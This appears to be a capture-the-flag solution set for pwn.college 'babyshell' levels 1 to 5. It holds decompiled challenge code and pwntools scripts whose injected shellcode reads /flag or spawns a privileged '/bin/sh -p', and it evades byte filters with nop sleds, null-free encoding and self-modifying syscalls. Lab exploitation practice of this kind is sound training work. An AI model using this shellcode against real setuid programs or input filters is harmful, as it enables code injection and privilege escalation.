pwndbg> checksec
File:     /home/cub3y0nd/Projects/pwn.college/babyshell-level-1
Arch:     amd64
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX unknown - GNU_STACK missing
PIE:        PIE enabled
Stack:      Executable
RWX:        Has RWX segments
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

39 collapsed lines
1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  size_t v3; // rax
4
  size_t v4; // rax
5
  int fd; // [rsp+2Ch] [rbp-1024h]
6
  const char **i; // [rsp+30h] [rbp-1020h]
7
  const char **j; // [rsp+38h] [rbp-1018h]
8
  _BYTE v10[16]; // [rsp+40h] [rbp-1010h] BYREF
9
  unsigned __int64 v11; // [rsp+1048h] [rbp-8h]
10

11
  v11 = __readfsqword(0x28u);
12
  setvbuf(stdin, 0LL, 2, 0LL);
13
  setvbuf(_bss_start, 0LL, 2, 0LL);
14
  puts("###");
15
  printf("### Welcome to %s!\n", *argv);
16
  puts("###");
17
  putchar(10);
18
  puts(
19
    "This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them");
20
  puts(
21
    "as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will");
22
  puts(
23
    "practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing");
24
  puts("other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.\n");
25
  for ( fd = 3; fd <= 9999; ++fd )
26
    close(fd);
27
  for ( i = argv; *i; ++i )
28
  {
29
    v3 = strlen(*i);
30
    memset((void *)*i, 0, v3);
31
  }
32
  for ( j = envp; *j; ++j )
33
  {
34
    v4 = strlen(*j);
35
    memset((void *)*j, 0, v4);
36
  }
37
  puts(
38
    "In this challenge, shellcode will be copied onto the stack and executed. Since the stack location is randomized on every");
39
  puts("execution, your shellcode will need to be *position-independent*.\n");
40
  shellcode = v10;
41
  printf("Allocated 0x1000 bytes for shellcode on the stack at %p!\n", v10);
42
  puts("Reading 0x1000 bytes from stdin.\n");
43
  shellcode_size = read(0, shellcode, 0x1000uLL);
44
  if ( !shellcode_size )
45
    __assert_fail("shellcode_size > 0", "/challenge/babyshell-level-1.c", 0x69u, "main");
46
  puts("This challenge is about to execute the following shellcode:\n");
47
  print_disassembly(shellcode, shellcode_size);
48
  puts(&byte_2565);
49
  puts("Executing shellcode!\n");
50
  ((void (*)(void))shellcode)();
51
  puts("### Goodbye!");
52
  return 0;
53
}

1
#!/usr/bin/python3
2

3
from pwn import ELF, asm, context, gdb, log, pause, process, remote
4

5
context(log_level="debug", terminal="kitty")
6

7
FILE = "./babyshell-level-1"
8
HOST, PORT = "localhost", 1337
9

10
gdbscript = """
11
c
12
"""
13

14

15
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
16
    if local:
17
        elf = ELF(FILE)
18
        context.binary = elf
19

20
        if debug:
21
            return gdb.debug(
22
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
23
            )
24
        else:
25
            return process([elf.path] + (argv or []), env=envp)
26
    else:
27
        return remote(HOST, PORT)
28

29

30
def send_payload(target, payload):
31
    try:
32
        target.send(payload)
33
    except Exception as e:
34
        log.exception(f"An error occurred while sending payload: {e}")
35

36

37
def construct_payload():
38
    shellcode = asm(
39
        """
40
    mov rax, 0x67616c662f
41
    push rax
42
    lea rdi, [rsp]
43
    mov rsi, 0x0
44
    mov rdx, 0x0
45
    mov rax, 0x2
46
    syscall
47

48
    mov rdi, 0x1
49
    mov rsi, rax
50
    mov rdx, 0x0
51
    mov rcx, 0x1000
52
    mov rax, 0x28
53
    syscall
54

55
    mov rdi, 0x0
56
    mov rax, 0x3c
57
    syscall
58
        """
59
    )
60

61
    return shellcode
62

63

64
def attack(target, payload):
65
    try:
66
        send_payload(target, payload)
67

68
        response = target.recvall(timeout=5)
69

70
        return b"pwn.college{" in response
71
    except Exception as e:
72
        log.exception(f"An error occurred while performing attack: {e}")
73

74

75
def main():
76
    try:
77
        target = launch()
78
        payload = construct_payload()
79

80
        if attack(target, payload):
81
            log.success("Success! Exiting...")
82

83
            pause()
84
            exit()
85
    except Exception as e:
86
        log.exception(f"An error occurred in main: {e}")
87

88

89
if __name__ == "__main__":
90
    main()

1
def construct_payload():
2
    shellcode = shellcraft.cat("/flag")
3

4
    return asm(shellcode)

1
def construct_payload():
2
    shellcode = shellcraft.execve("/bin/sh", ["/bin/sh", "-p"], 0)
3

4
    return asm(shellcode)

41 collapsed lines
1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  size_t v3; // rax
4
  size_t v4; // rax
5
  unsigned int v5; // eax
6
  int fd; // [rsp+28h] [rbp-1028h]
7
  int v9; // [rsp+2Ch] [rbp-1024h]
8
  const char **i; // [rsp+30h] [rbp-1020h]
9
  const char **j; // [rsp+38h] [rbp-1018h]
10
  _BYTE v12[16]; // [rsp+40h] [rbp-1010h] BYREF
11
  unsigned __int64 v13; // [rsp+1048h] [rbp-8h]
12

13
  v13 = __readfsqword(0x28u);
14
  setvbuf(stdin, 0LL, 2, 0LL);
15
  setvbuf(_bss_start, 0LL, 2, 0LL);
16
  puts("###");
17
  printf("### Welcome to %s!\n", *argv);
18
  puts("###");
19
  putchar(10);
20
  puts(
21
    "This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them");
22
  puts(
23
    "as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will");
24
  puts(
25
    "practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing");
26
  puts("other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.\n");
27
  for ( fd = 3; fd <= 9999; ++fd )
28
    close(fd);
29
  for ( i = argv; *i; ++i )
30
  {
31
    v3 = strlen(*i);
32
    memset((void *)*i, 0, v3);
33
  }
34
  for ( j = envp; *j; ++j )
35
  {
36
    v4 = strlen(*j);
37
    memset((void *)*j, 0, v4);
38
  }
39
  puts(
40
    "In this challenge, shellcode will be copied onto the stack and executed. Since the stack location is randomized on every");
41
  puts("execution, your shellcode will need to be *position-independent*.\n");
42
  shellcode = v12;
43
  printf("Allocated 0x1000 bytes for shellcode on the stack at %p!\n", v12);
44
  puts("Reading 0x1000 bytes from stdin.\n");
45
  shellcode_size = read(0, shellcode, 0x1000uLL);
46
  if ( !shellcode_size )
47
    __assert_fail("shellcode_size > 0", "/challenge/babyshell-level-2.c", 0x69u, "main");
48
  puts("Executing filter...\n");
4 collapsed lines
49
  puts(
50
    "This challenge will randomly skip up to 0x800 bytes in your shellcode. You better adapt to that! One way to evade this");
51
  puts(
52
    "is to have your shellcode start with a long set of single-byte instructions that do nothing, such as `nop`, before the");
53
  puts(
54
    "actual functionality of your code begins. When control flow hits any of these instructions, they will all harmlessly");
55
  puts("execute and then your real shellcode will run. This concept is called a `nop sled`.\n");
56
  v5 = time(0LL);
57
  srand(v5);
58
  v9 = rand() % 1792 + 256;
59
  shellcode = (char *)shellcode + v9;
60
  shellcode_size -= v9;
61
  puts("This challenge is about to execute the following shellcode:\n");
62
  print_disassembly(shellcode, shellcode_size);
63
  puts(&byte_2735);
64
  puts("Executing shellcode!\n");
65
  ((void (*)(void))shellcode)();
66
  puts("### Goodbye!");
67
  return 0;
68
}

1
#!/usr/bin/python3
2

3
from pwn import ELF, asm, context, gdb, log, pause, process, remote
4

5
context(log_level="debug", terminal="kitty")
6

7
FILE = "./babyshell-level-2"
8
HOST, PORT = "localhost", 1337
9

10
gdbscript = """
11
c
12
"""
13

14

15
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
16
    if local:
17
        elf = ELF(FILE)
18
        context.binary = elf
19

20
        if debug:
21
            return gdb.debug(
22
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
23
            )
24
        else:
25
            return process([elf.path] + (argv or []), env=envp)
26
    else:
27
        return remote(HOST, PORT)
28

29

30
def send_payload(target, payload):
31
    try:
32
        target.send(payload)
33
    except Exception as e:
34
        log.exception(f"An error occurred while sending payload: {e}")
35

36

37
def construct_payload():
38
    shellcode = asm(
39
        """
40
    .rept 0x7ff
41
        nop
42
    .endr
43

44
    mov rax, 0x67616c662f
45
    push rax
46
    lea rdi, [rsp]
47
    mov rsi, 0x0
48
    mov rdx, 0x0
49
    mov rax, 0x2
50
    syscall
51

52
    mov rdi, 0x1
53
    mov rsi, rax
54
    mov rdx, 0x0
55
    mov rcx, 0x1000
56
    mov rax, 0x28
57
    syscall
58

59
    mov rdi, 0x0
60
    mov rax, 0x3c
61
    syscall
62
        """
63
    )
64

65
    return shellcode
66

67

68
def attack(target, payload):
69
    try:
70
        send_payload(target, payload)
71

72
        response = target.recvall(timeout=5)
73

74
        return b"pwn.college{" in response
75
    except Exception as e:
76
        log.exception(f"An error occurred while performing attack: {e}")
77

78

79
def main():
80
    try:
81
        target = launch()
82
        payload = construct_payload()
83

84
        if attack(target, payload):
85
            log.success("Success! Exiting...")
86

87
            pause()
88
            exit()
89
    except Exception as e:
90
        log.exception(f"An error occurred in main: {e}")
91

92

93
if __name__ == "__main__":
94
    main()

1
def construct_payload(sled_length):
2
    shellcode = shellcraft.nop() * sled_length
3
    shellcode += shellcraft.cat("/flag")
4

5
    return asm(shellcode)

36 collapsed lines
1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  size_t v3; // rax
4
  size_t v4; // rax
5
  int fd; // [rsp+28h] [rbp-18h]
6
  int k; // [rsp+2Ch] [rbp-14h]
7
  const char **i; // [rsp+30h] [rbp-10h]
8
  const char **j; // [rsp+38h] [rbp-8h]
9

10
  setvbuf(stdin, 0LL, 2, 0LL);
11
  setvbuf(_bss_start, 0LL, 2, 0LL);
12
  puts("###");
13
  printf("### Welcome to %s!\n", *argv);
14
  puts("###");
15
  putchar(10);
16
  puts(
17
    "This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them");
18
  puts(
19
    "as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will");
20
  puts(
21
    "practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing");
22
  puts("other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.\n");
23
  for ( fd = 3; fd <= 9999; ++fd )
24
    close(fd);
25
  for ( i = argv; *i; ++i )
26
  {
27
    v3 = strlen(*i);
28
    memset((void *)*i, 0, v3);
29
  }
30
  for ( j = envp; *j; ++j )
31
  {
32
    v4 = strlen(*j);
33
    memset((void *)*j, 0, v4);
34
  }
35
  shellcode = mmap((void *)0x2CE31000, 0x1000uLL, 7, 34, 0, 0LL);
36
  if ( shellcode != (void *)753078272 )
37
    __assert_fail("shellcode == (void *)0x2ce31000", "/challenge/babyshell-level-3.c", 0x62u, "main");
38
  printf("Mapped 0x1000 bytes for shellcode at %p!\n", (const void *)0x2CE31000);
39
  puts("Reading 0x1000 bytes from stdin.\n");
40
  shellcode_size = read(0, shellcode, 0x1000uLL);
41
  if ( !shellcode_size )
42
    __assert_fail("shellcode_size > 0", "/challenge/babyshell-level-3.c", 0x67u, "main");
43
  puts("Executing filter...\n");
44
  puts("This challenge requires that your shellcode have no NULL bytes!\n");
45
  for ( k = 0; k < (unsigned __int64)shellcode_size; ++k )
46
  {
47
    if ( !*((_BYTE *)shellcode + k) )
48
    {
49
      printf("Failed filter at byte %d!\n", k);
50
      exit(1);
51
    }
52
  }
53
  puts("This challenge is about to execute the following shellcode:\n");
54
  print_disassembly(shellcode, shellcode_size);
55
  puts(&byte_251D);
56
  puts("Executing shellcode!\n");
57
  ((void (*)(void))shellcode)();
58
  puts("### Goodbye!");
59
  return 0;
60
}

1
#!/usr/bin/python3
2

3
from pwn import ELF, asm, context, gdb, log, pause, process, remote
4

5
context(log_level="debug", terminal="kitty")
6

7
FILE = "./babyshell-level-3"
8
HOST, PORT = "localhost", 1337
9

10
gdbscript = """
11
c
12
"""
13

14

15
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
16
    if local:
17
        elf = ELF(FILE)
18
        context.binary = elf
19

20
        if debug:
21
            return gdb.debug(
22
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
23
            )
24
        else:
25
            return process([elf.path] + (argv or []), env=envp)
26
    else:
27
        return remote(HOST, PORT)
28

29

30
def send_payload(target, payload):
31
    try:
32
        target.send(payload)
33
    except Exception as e:
34
        log.exception(f"An error occurred while sending payload: {e}")
35

36

37
def construct_payload():
38
    shellcode = asm(
39
        """
40
    mov rdi, 0x67616c66
41
    shl rdi, 0x8
42
    or rdi, 0x2f
43
    push rdi
44
    lea rdi, [rsp]
45
    xor rsi, rsi
46
    xor rdx, rdx
47
    xor rax, rax
48
    or rax, 0x2
49
    syscall
50

51
    xor rdi, rdi
52
    or rdi, 0x1
53
    mov rsi, rax
54
    xor rdx, rdx
55
    xor r10, r10
56
    or r10, 0xfffffff
57
    xor rax, rax
58
    or rax, 0x28
59
    syscall
60

61
    dec rdi
62
    xor rax, rax
63
    or rax, 0x3c
64
    syscall
65
        """
66
    )
67

68
    return shellcode
69

70

71
def attack(target, payload):
72
    try:
73
        send_payload(target, payload)
74

75
        response = target.recvall(timeout=5)
76

77
        return b"pwn.college{" in response
78
    except Exception as e:
79
        log.exception(f"An error occurred while performing attack: {e}")
80

81

82
def main():
83
    try:
84
        target = launch()
85
        payload = construct_payload()
86

87
        if attack(target, payload):
88
            log.success("Success! Exiting...")
89

90
            pause()
91
            exit()
92
    except Exception as e:
93
        log.exception(f"An error occurred in main: {e}")
94

95

96
if __name__ == "__main__":
97
    main()

1
def construct_payload():
2
    shellcode = shellcraft.cat("/flag")
3

4
    return asm(shellcode)

36 collapsed lines
1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  size_t v3; // rax
4
  size_t v4; // rax
5
  int fd; // [rsp+28h] [rbp-18h]
6
  int k; // [rsp+2Ch] [rbp-14h]
7
  const char **i; // [rsp+30h] [rbp-10h]
8
  const char **j; // [rsp+38h] [rbp-8h]
9

10
  setvbuf(stdin, 0LL, 2, 0LL);
11
  setvbuf(_bss_start, 0LL, 2, 0LL);
12
  puts("###");
13
  printf("### Welcome to %s!\n", *argv);
14
  puts("###");
15
  putchar(10);
16
  puts(
17
    "This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them");
18
  puts(
19
    "as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will");
20
  puts(
21
    "practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing");
22
  puts("other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.\n");
23
  for ( fd = 3; fd <= 9999; ++fd )
24
    close(fd);
25
  for ( i = argv; *i; ++i )
26
  {
27
    v3 = strlen(*i);
28
    memset((void *)*i, 0, v3);
29
  }
30
  for ( j = envp; *j; ++j )
31
  {
32
    v4 = strlen(*j);
33
    memset((void *)*j, 0, v4);
34
  }
35
  shellcode = mmap((void *)0x2D632000, 0x1000uLL, 7, 34, 0, 0LL);
36
  if ( shellcode != (void *)761470976 )
37
    __assert_fail("shellcode == (void *)0x2d632000", "/challenge/babyshell-level-4.c", 0x62u, "main");
38
  printf("Mapped 0x1000 bytes for shellcode at %p!\n", (const void *)0x2D632000);
39
  puts("Reading 0x1000 bytes from stdin.\n");
40
  shellcode_size = read(0, shellcode, 0x1000uLL);
41
  if ( !shellcode_size )
42
    __assert_fail("shellcode_size > 0", "/challenge/babyshell-level-4.c", 0x67u, "main");
43
  puts("Executing filter...\n");
44
  puts("This challenge requires that your shellcode have no H bytes!\n");
45
  for ( k = 0; k < (unsigned __int64)shellcode_size; ++k )
46
  {
47
    if ( *((_BYTE *)shellcode + k) == 0x48 )
48
    {
49
      printf("Failed filter at byte %d!\n", k);
50
      exit(1);
51
    }
52
  }
53
  puts("This challenge is about to execute the following shellcode:\n");
54
  print_disassembly(shellcode, shellcode_size);
55
  puts(&byte_251D);
56
  puts("Executing shellcode!\n");
57
  ((void (*)(void))shellcode)();
58
  puts("### Goodbye!");
59
  return 0;
60
}

1
#!/usr/bin/python3
2

3
from pwn import ELF, asm, context, gdb, log, pause, process, remote
4

5
context(log_level="debug", terminal="kitty")
6

7
FILE = "./babyshell-level-4"
8
HOST, PORT = "localhost", 1337
9

10
gdbscript = """
11
c
12
"""
13

14

15
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
16
    if local:
17
        elf = ELF(FILE)
18
        context.binary = elf
19

20
        if debug:
21
            return gdb.debug(
22
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
23
            )
24
        else:
25
            return process([elf.path] + (argv or []), env=envp)
26
    else:
27
        return remote(HOST, PORT)
28

29

30
def send_payload(target, payload):
31
    try:
32
        target.send(payload)
33
    except Exception as e:
34
        log.exception(f"An error occurred while sending payload: {e}")
35

36

37
def construct_payload():
38
    shellcode = asm(
39
        """
40
    lea ebx, [eip+0x2c]
41
    xor ecx, esi
42
    xor edx, edx
43
    mov eax, 0x5
44
    int 0x80
45

46
    mov ebx, 0x1
47
    mov ecx, eax
48
    xor edx, edx
49
    mov esi, 0x1000
50
    mov eax, 0xbb
51
    int 0x80
52

53
    mov ebx, 0x0
54
    mov eax, 0x1
55
    int 0x80
56

57
flag:
58
    .string "/flag"
59
        """
60
    )
61

62
    return shellcode
63

64

65
def attack(target, payload):
66
    try:
67
        send_payload(target, payload)
68

69
        response = target.recvall(timeout=5)
70

71
        return b"pwn.college{" in response
72
    except Exception as e:
73
        log.exception(f"An error occurred while performing attack: {e}")
74

75

76
def main():
77
    try:
78
        target = launch()
79
        payload = construct_payload()
80

81
        if attack(target, payload):
82
            log.success("Success! Exiting...")
83

84
            pause()
85
            exit()
86
    except Exception as e:
87
        log.exception(f"An error occurred in main: {e}")
88

89

90
if __name__ == "__main__":
91
    main()

1
.global _start
2
.intel_syntax noprefix
3

4
_start:
5
  push 0x2f
6
  mov dword ptr [rsp + 1], 0x67616c66
7
  push rsp
8
  pop rdi
9
  xor esi, esi
10
  xor edx, edx
11
  mov al, 0x2
12
  syscall
13

14
  mov edi, 0x1
15
  mov esi, eax
16
  xor edx, edx
17
  mov r10, 0x1000
18
  mov al, 0x28
19
  syscall
20

21
  xor edi, edi
22
  mov al, 0x3c
23
  syscall

37 collapsed lines
1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  size_t v3; // rax
4
  size_t v4; // rax
5
  int fd; // [rsp+20h] [rbp-20h]
6
  int k; // [rsp+24h] [rbp-1Ch]
7
  const char **i; // [rsp+28h] [rbp-18h]
8
  const char **j; // [rsp+30h] [rbp-10h]
9
  _WORD *v11; // [rsp+38h] [rbp-8h]
10

11
  setvbuf(stdin, 0LL, 2, 0LL);
12
  setvbuf(_bss_start, 0LL, 2, 0LL);
13
  puts("###");
14
  printf("### Welcome to %s!\n", *argv);
15
  puts("###");
16
  putchar(10);
17
  puts(
18
    "This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them");
19
  puts(
20
    "as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will");
21
  puts(
22
    "practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing");
23
  puts("other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.\n");
24
  for ( fd = 3; fd <= 9999; ++fd )
25
    close(fd);
26
  for ( i = argv; *i; ++i )
27
  {
28
    v3 = strlen(*i);
29
    memset((void *)*i, 0, v3);
30
  }
31
  for ( j = envp; *j; ++j )
32
  {
33
    v4 = strlen(*j);
34
    memset((void *)*j, 0, v4);
35
  }
36
  shellcode = mmap((void *)0x1A315000, 0x1000uLL, 7, 34, 0, 0LL);
37
  if ( shellcode != (void *)439439360 )
38
    __assert_fail("shellcode == (void *)0x1a315000", "/challenge/babyshell-level-5.c", 0x62u, "main");
39
  printf("Mapped 0x1000 bytes for shellcode at %p!\n", (const void *)0x1A315000);
40
  puts("Reading 0x1000 bytes from stdin.\n");
41
  shellcode_size = read(0, shellcode, 0x1000uLL);
42
  if ( !shellcode_size )
43
    __assert_fail("shellcode_size > 0", "/challenge/babyshell-level-5.c", 0x67u, "main");
44
  puts("Executing filter...\n");
2 collapsed lines
45
  puts(
46
    "This challenge requires that your shellcode does not have any `syscall`, 'sysenter', or `int` instructions. System calls");
47
  puts("are too dangerous! This filter works by scanning through the shellcode for the following byte sequences: 0f05");
48
  puts("(`syscall`), 0f34 (`sysenter`), and 80cd (`int`). One way to evade this is to have your shellcode modify itself to");
49
  puts("insert the `syscall` instructions at runtime.\n");
50
  for ( k = 0; k < (unsigned __int64)shellcode_size; ++k )
51
  {
52
    v11 = (char *)shellcode + k;
53
    if ( *v11 == 0x80CD || *v11 == 0x340F || *v11 == 0x50F )
54
    {
55
      printf("Failed filter at byte %d!\n", k);
56
      exit(1);
57
    }
58
  }
59
  puts("This challenge is about to execute the following shellcode:\n");
60
  print_disassembly(shellcode, shellcode_size);
61
  puts(&byte_2675);
62
  puts("Executing shellcode!\n");
63
  ((void (*)(void))shellcode)();
64
  puts("### Goodbye!");
65
  return 0;
66
}

1
#!/usr/bin/python3
2

3
from pwn import ELF, asm, context, gdb, log, pause, process, remote
4

5
context(log_level="debug", terminal="kitty")
6

7
FILE = "./babyshell-level-5"
8
HOST, PORT = "localhost", 1337
9

10
gdbscript = """
11
c
12
"""
13

14

15
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
16
    if local:
17
        elf = ELF(FILE)
18
        context.binary = elf
19

20
        if debug:
21
            return gdb.debug(
22
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
23
            )
24
        else:
25
            return process([elf.path] + (argv or []), env=envp)
26
    else:
27
        return remote(HOST, PORT)
28

29

30
def send_payload(target, payload):
31
    try:
32
        target.send(payload)
33
    except Exception as e:
34
        log.exception(f"An error occurred while sending payload: {e}")
35

36

37
def construct_payload():
38
    shellcode = """
39
    /* push b'/flag\x00' */
40
    mov rax, 0x101010101010101
41
    push rax
42
    mov rax, 0x101010101010101 ^ 0x67616c662f
43
    xor [rsp], rax
44
    /* call open('rsp', 'O_RDONLY', 'rdx') */
45
    push 2 /* 2 */
46
    pop rax
47
    mov rdi, rsp
48
    xor esi, esi /* O_RDONLY */
49
    inc byte ptr [rip + 1]
50
    .byte 0x0f, 0x04
51
    /* call sendfile(1, 'rax', 0, 0x7fffffff) */
52
    mov r10d, 0x7fffffff
53
    mov rsi, rax
54
    push 40 /* 0x28 */
55
    pop rax
56
    push 1
57
    pop rdi
58
    cdq /* rdx=0 */
59
    inc byte ptr [rip + 1]
60
    .byte 0x0f, 0x04
61
    """
62

63
    return asm(shellcode)
64

65

66
def attack(target, payload):
67
    try:
68
        send_payload(target, payload)
69

70
        response = target.recvall(timeout=5)
71

72
        return b"pwn.college{" in response
73
    except Exception as e:
74
        log.exception(f"An error occurred while performing attack: {e}")
75

76

77
def main():
78
    try:
79
        target = launch()
80
        payload = construct_payload()
81

82
        if attack(target, payload):
83
            log.success("Success! Exiting...")
84

85
            pause()
86
            exit()
87
    except Exception as e:
88
        log.exception(f"An error occurred in main: {e}")
89

90

91
if __name__ == "__main__":
92
    main()